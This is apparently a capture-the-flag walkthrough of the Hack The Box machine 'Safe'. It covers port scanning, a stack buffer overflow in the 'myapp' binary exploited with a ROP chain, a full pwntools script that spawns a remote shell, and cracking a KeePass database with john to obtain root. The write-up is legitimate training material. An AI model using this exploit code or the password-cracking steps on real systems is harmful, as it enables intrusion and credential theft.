As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Mon Mar 13 12:23:11 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.147
Nmap scan report for 10.10.10.147
Host is up (0.059s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
# Nmap done at Mon Mar 13 12:23:25 2023 -- 1 IP address (1 host up) scanned in 13.31 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Mon Mar 13 12:23:40 2023 as: nmap -sCV -p22,80,1337 -Pn -oN targeted 10.10.10.147
Nmap scan report for 10.10.10.147
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d7c813d6a3df95f2e1f6a97e500bade (RSA)
| 256 997e1e227672da3cc9617d74d78033d2 (ECDSA)
|_ 256 6a6bc38e4b28f76085b162ff54bcd8d6 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP:
| 07:23:58 up 1 min, 0 users, load average: 0.05, 0.02, 0.00
| DNSVersionBindReqTCP:
| 07:23:53 up 1 min, 0 users, load average: 0.05, 0.02, 0.00
| GenericLines:
| 07:23:42 up 1 min, 0 users, load average: 0.06, 0.03, 0.01
| What do you want me to echo back?
| GetRequest:
| 07:23:48 up 1 min, 0 users, load average: 0.05, 0.03, 0.00
| What do you want me to echo back? GET / HTTP/1.0
| HTTPOptions:
| 07:23:48 up 1 min, 0 users, load average: 0.05, 0.03, 0.00
| What do you want me to echo back? OPTIONS / HTTP/1.0
| Help:
| 07:24:03 up 1 min, 0 users, load average: 0.04, 0.02, 0.00
| What do you want me to echo back? HELP
| NULL:
| 07:23:42 up 1 min, 0 users, load average: 0.06, 0.03, 0.01
| RPCCheck:
| 07:23:48 up 1 min, 0 users, load average: 0.05, 0.03, 0.00
| RTSPRequest:
| 07:23:48 up 1 min, 0 users, load average: 0.05, 0.03, 0.00
| What do you want me to echo back? OPTIONS / RTSP/1.0
| SSLSessionReq, TerminalServerCookie:
| 07:24:03 up 1 min, 0 users, load average: 0.04, 0.02, 0.00
| What do you want me to echo back?
| TLSSessionReq:
| 07:24:04 up 1 min, 0 users, load average: 0.04, 0.02, 0.00
|_ What do you want me to echo back?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.93%I=7%D=3/13%Time=640F07C3%P=x86_64-pc-linux-gnu%r(NU
SF:LL,3E,"\x2007:23:42\x20up\x201\x20min,\x20\x200\x20users,\x20\x20load\x
SF:20average:\x200\.06,\x200\.03,\x200\.01\n")%r(GenericLines,63,"\x2007:2
SF:3:42\x20up\x201\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200
SF:\.06,\x200\.03,\x200\.01\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec
SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2007:23:48\x20up\x201\x20min,
SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.05,\x200\.03,\x200\.0
SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20
SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2007:23:48\x20up\x201\x20min,\
SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.05,\x200\.03,\x200\.00
SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\
SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2007:23:48\x20up\x201\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.05,\x200\.03,\x200\
SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO
SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2007:23:48\x20up\x201\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.05,\x200\.03,\x200\
SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2007:23:53\x20up\x201\x20min,\x20\
SF:x200\x20users,\x20\x20load\x20average:\x200\.05,\x200\.02,\x200\.00\n")
SF:%r(DNSStatusRequestTCP,3E,"\x2007:23:58\x20up\x201\x20min,\x20\x200\x20
SF:users,\x20\x20load\x20average:\x200\.05,\x200\.02,\x200\.00\n")%r(Help,
SF:67,"\x2007:24:03\x20up\x201\x20min,\x20\x200\x20users,\x20\x20load\x20a
SF:verage:\x200\.04,\x200\.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me
SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2007:24:03
SF:\x20up\x201\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.04
SF:,\x200\.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x
SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2007:24:03\x20up\
SF:x201\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.04,\x200\
SF:.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\
SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2007:24:04\x20up\x201\x20min,\x20\x
SF:200\x20users,\x20\x20load\x20average:\x200\.04,\x200\.02,\x200\.00\n\nW
SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 13 12:25:12 2023 -- 1 IP address (1 host up) scanned in 91.85 seconds
The website shows the Apache2 Debian Default Page.
There is a comment in the source code saying that a binary called myapp, which is running on port 1337, can be downloaded from here.
Let's download it.
wget http://10.10.10.147/myapp; chmod +x myapp
If we run the binary, we'll see an output that looks like the one from the uptime command. Then, it will ask for input, and it will print back the input we just entered.
./myapp
20:02:18 up 6:45, 6 users, load average: 0.08, 0.10, 0.09
What do you want me to echo back? test
test
If we try to enter a bunch of A characters, the program crashes. There could potentially be a buffer overflow vulnerability.
./myapp
20:04:38 up 6:48, 6 users, load average: 0.08, 0.08, 0.08
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./myapp
Exploitation
For further inspection of the binary, let's open ghidra and create a new project. Select Non-Shared Project, select the project directory, and set the name of the project.
Then, import the myapp binary. We will see that it is a 64 bits ELF binary.
Drag and drop the binary into the CodeBrowser.
Then, press Ok, and Analyze.
Under Functions, select the main function, and we'll see that the local_78 variable is saving the input that the user enters. Note that the buffer has a size of 112 bytes. If we enter more than the buffer size then we start overwriting the stack and the program crashes.
Buffer Overflow
Let's start by finding the offset. Run the binary with gdb.
gdb ./myapp
Create a pattern of 200 bytes long.
gef⤠pattern create 200
[+] Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'
Now, copy the pattern, run the program, and enter it. The program should crash.
gef⤠r
Starting program: /home/alfa8sa/HTB/machines/safe/myapp
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after vfork from child process 261629]
20:15:47 up 6:59, 6 users, load average: 0.09, 0.10, 0.09
What do you want me to echo back? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaa
aanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaaaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaa
aafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaa
aawaaaaaaaxaaaaaaayaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ registers ââââ
$rax : 0x0
$rbx : 0x007fffffffe1f8 â 0x007fffffffe4d8 â "/home/alfa8sa/HTB/machines/safe/myapp"
$rcx : 0x007ffff7ebc190 â 0x5877fffff0003d48 ("H="?)
$rdx : 0x1
$rsp : 0x007fffffffe0e8 â "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
$rbp : 0x616161616161616f ("oaaaaaaa"?)
$rsi : 0x1
$rdi : 0x007ffff7f98a10 â 0x0000000000000000
$rip : 0x000000004011ac â <main+77> ret
$r8 : 0x00000000405328 â "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
$r9 : 0x007ffff7f325c0 â <__memmove_ssse3+320> movaps xmm1, XMMWORD PTR [rsi+0x10]
$r10 : 0x007ffff7dcdfd8 â 0x10002200006647 ("Gf"?)
$r11 : 0x202
$r12 : 0x0
$r13 : 0x007fffffffe208 â 0x007fffffffe4fe â "COLORTERM=truecolor"
$r14 : 0x0
$r15 : 0x007ffff7ffd020 â 0x007ffff7ffe2e0 â 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ stack ââââ
0x007fffffffe0e8â+0x0000: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" â $rsp
0x007fffffffe0f0â+0x0008: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]"
0x007fffffffe0f8â+0x0010: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
0x007fffffffe100â+0x0018: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x007fffffffe108â+0x0020: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x007fffffffe110â+0x0028: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x007fffffffe118â+0x0030: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x007fffffffe120â+0x0038: "waaaaaaaxaaaaaaayaaaaaaa"
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ code:x86:64 ââââ
0x4011a1 <main+66> call 0x401030 <puts@plt>
0x4011a6 <main+71> mov eax, 0x0
0x4011ab <main+76> leave
â 0x4011ac <main+77> ret
[!] Cannot disassemble from $PC
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ
[#0] Id 1, Name: "myapp", stopped 0x4011ac in main (), reason: SIGSEGV
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ
[#0] 0x4011ac â main()
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
Now, we know that there are 120 bytes before starting to overwrite RSP, which is the register that controls the flow of the program.
gef⤠pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 120 (little-endian search) likely
[+] Found at offset 113 (big-endian search)
To prove that we have control of RSP, send a string with 120 A characters, 8 B characters, and 20 C characters.
What do you want me to echo back? AAA...AAABBB...BBCCC...CCC
As seen, the B characters appear in RSP. If we check the memory protections of the binary, we'll see that NX is enabled. Which means that it is not possible to execute code from the stack.
gef⤠checksec
[+] checksec for '/home/alfa8sa/HTB/machines/safe/myapp'
Canary : â
NX : â
PIE : â
Fortify : â
RelRO : Partial
Going back to the Ghidra CodeBrowser we'll see that there is another function called test. This function is copying the value of RSP and pasting it into RDI. Then, it is doing a JMP order to R13.
We can try to exploit ROP.
Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.
The idea is to be able to run the system() function with /bin/sh as an argument so the program spawns a shell. To use arguments in functions, we'll have to store those arguments in the following registries, ordered from first to last, before using them.
rdi -> rsi -> rdx -> rcx -> r8 -> r9
The strategy will be to put the /bin/sh string in RSP. As the test function is copying the value of RSP into RDI, the system() function will look for the argument in RDI, which will be /bin/bash\x00. The top of the stack will be copied to RDI, so we have to put the string right before RSP, in this case, the string is 8 bytes long, so the junk will be 112 bytes long followed by the /bin/bash\x00 string.
As the test function is doing a JMP order to R13, we have to search for a gadget pop r13. We find a gadget with ropper, that does pop r13; pop r14; pop r15. This way we can load the address of the system() function into R13, and fill R14 and R15 with null bytes.
ropper --file myapp --search "pop r13"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r13
[INFO] File: myapp
0x0000000000401206: pop r13; pop r14; pop r15; ret;
pop_r13 = p64(0x401206)
null = p64(0x0)
Now we need to know the address of system() to load it into R13.
objdump -D myapp | grep system
0000000000401040 <system@plt>:
401040: ff 25 da 2f 00 00 jmp *0x2fda(%rip) # 404020 <system@GLIBC_2.2.5>
40116e: e8 cd fe ff ff call 401040 <system@plt>
system = p64(0x401040)
Finally, we need the address of the test function itself, so we can run it.
objdump -D myapp | grep test
40100b: 48 85 c0 test %rax,%rax
4010c2: 48 85 c0 test %rax,%rax
401104: 48 85 c0 test %rax,%rax
0000000000401152 <test>:
test = p64(0x401152)
Let's go through the whole process again. The final payload will consist of the junk, which is 112 bytes long, plus the /bin/sh\x00 string.
The junk, which is 112 bytes long, plus the /bin/sh\x00 string. This whole thing will be 120 bytes long, then we'll reach RSP. We do this because the test function is copying the top of the stack and pasting it into RDI, which will be the first argument for the system() function.
Then, we need to run the system() function. As test is doing a JMP order to R13, we found a gadget that makes a pop r13, making it possible to put the address of system() into R13. The gadget also does pop r14; pop r15, so we fill it with null bytes.
Finally, we call the test function so everything gets executed and a shell is spawned.
payload = junk + bin_sh + pop_r13 + system + null + null + test
The final script will look like this.
#!/usr/bin/python3
from pwn import *
context(os="linux", arch="amd64")
p = remote("10.10.10.147", 1337)
offset = 112
junk = b"A" * offset
bin_sh = b"/bin/sh\x00"
pop_r13 = p64(0x401206)
null = p64(0x0)
system = p64(0x401040)
test = p64(0x401152)
payload = junk + bin_sh + pop_r13 + system + null + null + test
p.sendline(payload)
p.interactive()
Run the script, and get a shell as user. Then, we'll be able to grab the user flag.
python overflow.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
16:43:23 up 9:20, 0 users, load average: 0.00, 0.00, 0.00
$ whoami
user
$ cat /home/user/user.txt
7f8eaee3707f8f485547538ac01acbff
Privilege Escalation
To get a more stable shell, as port 22 is open, we can create a pair of SSH keys, copy the public key.
There are a few images and one interesting file called MyPasswords.kdbx in user home directory.
ls -la /home/user
total 11288
drwxr-xr-x 4 user user 4096 Mar 13 12:43 .
drwxr-xr-x 3 root root 4096 Jul 26 2022 ..
lrwxrwxrwx 1 user user 9 May 13 2019 .bash_history -> /dev/null
-rw-r--r-- 1 user user 220 May 13 2019 .bash_logout
-rw-r--r-- 1 user user 3526 May 13 2019 .bashrc
-rw-r--r-- 1 user user 1907614 May 13 2019 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13 2019 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13 2019 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13 2019 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13 2019 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13 2019 IMG_0553.JPG
-rwxr-xr-x 1 user user 16592 May 13 2019 myapp
-rw-r--r-- 1 user user 2446 May 13 2019 MyPasswords.kdbx
drwxr-xr-x 2 user user 4096 Mar 13 12:43 .nano
-rw-r--r-- 1 user user 675 May 13 2019 .profile
drwx------ 2 user user 4096 Mar 13 16:49 .ssh
-rw------- 1 user user 33 Mar 13 07:22 user.txt
Let's transfer all the images and the KeePass file to our local machine.
The .kdbx files contain a password database but are only accessible with a passphrase. In addition to the passphrase, you can also protect the file with a file key. We could get the hash of the .kdbx file encrypted with every image, and try to break it with john.
for img in $(ls | grep .JPG); do keepass2john -k $img MyPasswords.kdbx >> hashes;done
Then, try to break one of the hashes.
john -w=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit (MyPasswords)
Now that we have a password, we just have to go one by one image and see what is the right combination of the password and image. We'll see that the right image is IMG_0547.JPG.
keepassxc MyPasswords.kdbx
There is one entry with the password of the root user.
Become the root user, and all we have to do is reap the harvest and take the root flag.